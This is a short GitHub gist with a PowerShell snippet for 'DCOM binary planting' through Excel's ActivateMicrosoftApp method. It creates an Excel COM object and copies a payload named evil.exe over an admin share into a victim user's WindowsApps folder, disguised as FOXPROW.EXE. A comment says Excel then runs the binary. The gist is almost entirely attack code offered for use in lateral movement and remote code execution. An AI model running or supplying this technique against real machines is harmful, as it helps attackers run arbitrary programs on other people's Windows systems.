Skip to content

Instantly share code, notes, and snippets.

Last active September 14, 2017 15:06
What would you like to do?
DCOM binary planting via Excel.Application.ActivateMicrosoftApp
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", ""))
# Windows 10 specific, but searches PATH so ..
copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
# excel executes your binary :)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment